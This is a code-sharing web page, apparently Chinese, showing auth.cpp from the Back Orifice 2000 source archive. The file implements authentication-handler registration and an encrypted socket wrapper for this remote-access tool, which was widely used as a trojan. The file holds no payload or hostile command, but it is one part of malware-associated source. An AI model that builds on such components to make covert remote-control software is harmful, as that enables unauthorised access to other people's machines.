开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
auth.cpp
资源名称：bo2ksrc.zip　[点击查看]
上传用户：jinandeyu
上传日期：2007-01-05
资源大小：620k
文件大小：7k
源码类别：

远程控制编程

开发平台：

WINDOWS

auth.cpp：源码内容
  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  4.     This program is free software; you can redistribute it and/or modify
  5.     it under the terms of the GNU General Public License as published by
  6.     the Free Software Foundation; either version 2 of the License, or
  7.     (at your option) any later version.
  9.     This program is distributed in the hope that it will be useful,
  10.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  11.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  12.     GNU General Public License for more details.
  14.     You should have received a copy of the GNU General Public License
  15.     along with this program; if not, write to the Free Software
  16.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  18. The author of this program may be contacted at dildog@l0pht.com. */
  20. // Command Input/Output Interface
  21. #include<windows.h>
  22. #include<auth.h>
  23. #include<iohandler.h>
  24. #include<encryption.h>
  25. #include<commnet.h>
  26. #include<config.h>
  28. extern CIOHandler *g_pIOHandler;
  29. extern CEncryptionHandler *g_pEncryptionHandler;
  30. extern CAuthHandler *g_pAuthHandler;
  32. //                                               //
  33. //////////////// IO Handler Class /////////////////
  34. //                                              //
  36. CAuthHandler::CAuthHandler()
  37. {
  38. int i;
  39. for(i=0;i<MAX_AUTH_HANDLERS;i++)
  40. m_AuthHandler[i]=INVALID_AUTH_HANDLER;
  41. }
  43. CAuthHandler::~CAuthHandler()
  44. {
  45. int i;
  46. for(i=0;i<MAX_AUTH_HANDLERS;i++) {
  47. if(m_AuthHandler[i]!=INVALID_AUTH_HANDLER) {
  48. m_AuthHandler[i]->pRemove();
  49. m_AuthHandler[i]=INVALID_AUTH_HANDLER;
  50. }
  51. }
  52. }
  54. int CAuthHandler::Insert(AUTH_HANDLER *handler)
  55. {
  56. int i;
  58. if(handler->pInsert==NULL) return -1;
  59. if(handler->pInsert()==-1) return -1;
  61. for(i=0;i<MAX_AUTH_HANDLERS;i++) {
  62. if(m_AuthHandler[i]==INVALID_AUTH_HANDLER) break;
  63. }
  64. if(i==MAX_AUTH_HANDLERS) return -1;
  66. m_AuthHandler[i]=handler;
  68. return i;
  69. }
  71. int CAuthHandler::GetHandlerCount(void)
  72. {
  73. int count,i;
  75. count=0;
  76. for(i=0;i<MAX_AUTH_HANDLERS;i++) {
  77. if(m_AuthHandler[i]!=INVALID_AUTH_HANDLER) count++;
  78. }
  79. return count;
  80. }
  82. AUTH_HANDLER *CAuthHandler::GetHandler(int nHandler)
  83. {
  84. if(nHandler<0 || nHandler>=MAX_AUTH_HANDLERS) return NULL;
  85. return m_AuthHandler[nHandler];
  86. }
  88. AUTH_HANDLER *CAuthHandler::GetHandlerByID(char *svID)
  89. {
  90. int i;
  92. for(i=0;i<MAX_AUTH_HANDLERS;i++) {
  93. char *svQuery=Query(i);
  94. if(svQuery!=NULL) {
  95. if(strnicmp(svQuery,svID,min(lstrlen(svID),lstrlen(svQuery)))==0)
  96. return m_AuthHandler[i];
  97. }
  98. }
  100. return NULL;
  101. }
  104. char *CAuthHandler::Query(int nHandler)
  105. {
  106. if(nHandler<0 || nHandler>=MAX_AUTH_HANDLERS) return NULL;
  107. if(m_AuthHandler[nHandler]==INVALID_AUTH_HANDLER) return NULL;
  108. if(m_AuthHandler[nHandler]->pQuery==NULL) return NULL;
  110. return m_AuthHandler[nHandler]->pQuery();
  111. }
  114. int CAuthHandler::Remove(int nHandler)
  115. {
  116. int ret;
  118. if(nHandler<0 || nHandler>=MAX_AUTH_HANDLERS) return NULL;
  119. if(m_AuthHandler[nHandler]==INVALID_AUTH_HANDLER) return NULL;
  120. if(m_AuthHandler[nHandler]->pRemove==NULL) return NULL;
  122. ret=m_AuthHandler[nHandler]->pRemove();
  124. m_AuthHandler[nHandler]=INVALID_AUTH_HANDLER;
  126. return ret;
  127. }
  131. //                                               //
  132. ////////// Authenticated Socket Class /////////////
  133. //                                               //
  136. CAuthSocket::CAuthSocket(AUTH_HANDLER *pHandler, IO_HANDLER *pIOH, ENCRYPTION_ENGINE *pEE)
  137. {
  138. m_pHandler=pHandler;
  139. m_pIOH=pIOH;
  140. m_pEE=pEE;
  141. m_pEnc=NULL;
  142. m_pSock=NULL;
  143. m_pData=NULL;
  144. }
  146. CAuthSocket::~CAuthSocket()
  147. {
  148. if(m_pEnc!=NULL) delete m_pEnc;
  149. if(m_pSock!=NULL) delete m_pSock;
  150. }
  152. int CAuthSocket::Listen(char *svTarget, int nUserId)
  153. {
  154. m_pSock=new CIOSocket(m_pIOH);
  155. if(m_pSock!=NULL) {
  156. m_pEnc=new CEncryptionEngine(m_pEE);
  157. if(m_pEnc!=NULL) {
  158. if(m_pSock->Listen(svTarget)==0) {
  159. if(m_pEnc->Startup()==0) {
  160. if(m_pHandler->pOnListen==NULL) return 0;
  162. m_pData=m_pHandler->pOnListen(m_pSock, m_pEnc, nUserId);
  163. if(m_pData!=NULL) return 0;
  165. m_pEnc->Shutdown();
  166. }
  167. m_pSock->Close();
  168. }
  169. delete m_pEnc;
  170. m_pEnc=NULL;
  171. }
  172. delete m_pSock;
  173. m_pSock=NULL;
  174. }
  175. return -1;
  176. }
  178. int CAuthSocket::Connect(char *svTarget, int nUserId)
  179. {
  180. m_pSock=new CIOSocket(m_pIOH);
  181. if(m_pSock!=NULL) {
  182. m_pEnc=new CEncryptionEngine(m_pEE);
  183. if(m_pEnc!=NULL) {
  184. if(m_pSock->Connect(svTarget)==0) {
  185. if(m_pEnc->Startup()==0) {
  186. if(m_pHandler->pOnConnect==NULL) return 0;
  188. m_pData=m_pHandler->pOnConnect(m_pSock, m_pEnc, nUserId);
  189. if(m_pData!=NULL) return 0;
  191. m_pEnc->Shutdown();
  192. }
  193. m_pSock->Close();
  194. }
  195. delete m_pEnc;
  196. m_pEnc=NULL;
  197. }
  198. delete m_pSock;
  199. m_pSock=NULL;
  200. }
  201. return -1;
  202. }
  204. CAuthSocket *CAuthSocket::Accept(void)
  205. {
  206. CIOSocket *acc_ios=m_pSock->Accept();
  207. if(acc_ios!=NULL) {
  208. CAuthSocket *cas;
  209. cas=new CAuthSocket(m_pHandler, m_pIOH, m_pEE);
  210. if(cas!=NULL) {
  211. cas->m_pSock=acc_ios;
  212. cas->m_pEnc=new CEncryptionEngine(cas->m_pEE);
  213. if(cas->m_pEnc!=NULL) {
  214. if(cas->m_pEnc->Startup()==0) {
  215. if(m_pHandler->pOnAccept==NULL) return cas;
  217. cas->m_pData=m_pHandler->pOnAccept(m_pData,cas->m_pSock, cas->m_pEnc);
  218. if(cas->m_pData!=NULL) return cas;
  220. cas->m_pEnc->Shutdown();
  221. }
  222. delete cas->m_pEnc;
  223. cas->m_pEnc=NULL;
  224. }
  225. cas->m_pSock=NULL;
  226. delete cas;
  227. }
  228. acc_ios->Close();
  229. delete acc_ios;
  230. }
  231. return NULL;
  232. }
  234. int CAuthSocket::Close(void)
  235. {
  236. if(m_pSock->Close()==-1) return -1;
  237. delete m_pSock;
  238. m_pSock=NULL;
  239. if(m_pEnc->Shutdown()==-1) return -1;
  240. delete m_pEnc;
  241. m_pEnc=NULL;
  242. if(m_pHandler->pOnClose(m_pData)==-1) return -1;
  243. m_pHandler=NULL;
  245. m_pData=NULL;
  246. return 0;
  247. }
  249. int CAuthSocket::Recv(BYTE **pInData, int *pnInDataLen)
  250. {
  251. BYTE *pin;
  252. int inlen;
  253. int ret;
  255. ret=m_pSock->Recv(&pin,&inlen);
  256. if(ret==0) 
  257. return 0;
  258. if(ret<0) 
  259. return -1;
  261. if(m_pHandler->pOnRecv(m_pData,m_pEnc,pin,inlen,pInData,pnInDataLen)==-1) 
  262. ret=-1;
  264. m_pSock->Free(pin);
  266. return ret;
  267. }
  269. int CAuthSocket::Send(BYTE *pData, int nDataLen)
  270. {
  271. BYTE *pOutData;
  272. int  nOutDataLen,ret;
  274. if(m_pHandler->pOnSend(m_pData,m_pEnc,pData,nDataLen,&pOutData,&nOutDataLen)==-1)
  275. return -1;
  277. ret=m_pSock->Send(pOutData,nOutDataLen);
  279. m_pHandler->pFree(m_pData, pOutData);
  280. return ret;
  282. }
  284. void CAuthSocket::Free(BYTE *pBuffer)
  285. {
  286. m_pHandler->pFree(m_pData,pBuffer);
  287. }
  289. int CAuthSocket::GetUserID(void)
  290. {
  291. return m_pHandler->pGetUserID(m_pData);
  292. }
  294. AUTH_HANDLER *CAuthSocket::GetAuthHandler(void)
  295. {
  296. return m_pHandler;
  297. }
  299. int CAuthSocket::GetRemoteAddr(char *svAddr,int nMaxLen)
  300. {
  301. return m_pSock->GetRemoteAddr(svAddr,nMaxLen);
  302. }
  304. int CAuthSocket::GetConnectAddr(char *svAddr, int nMaxLen)
  305. {
  306. return m_pSock->GetConnectAddr(svAddr,nMaxLen);
  307. }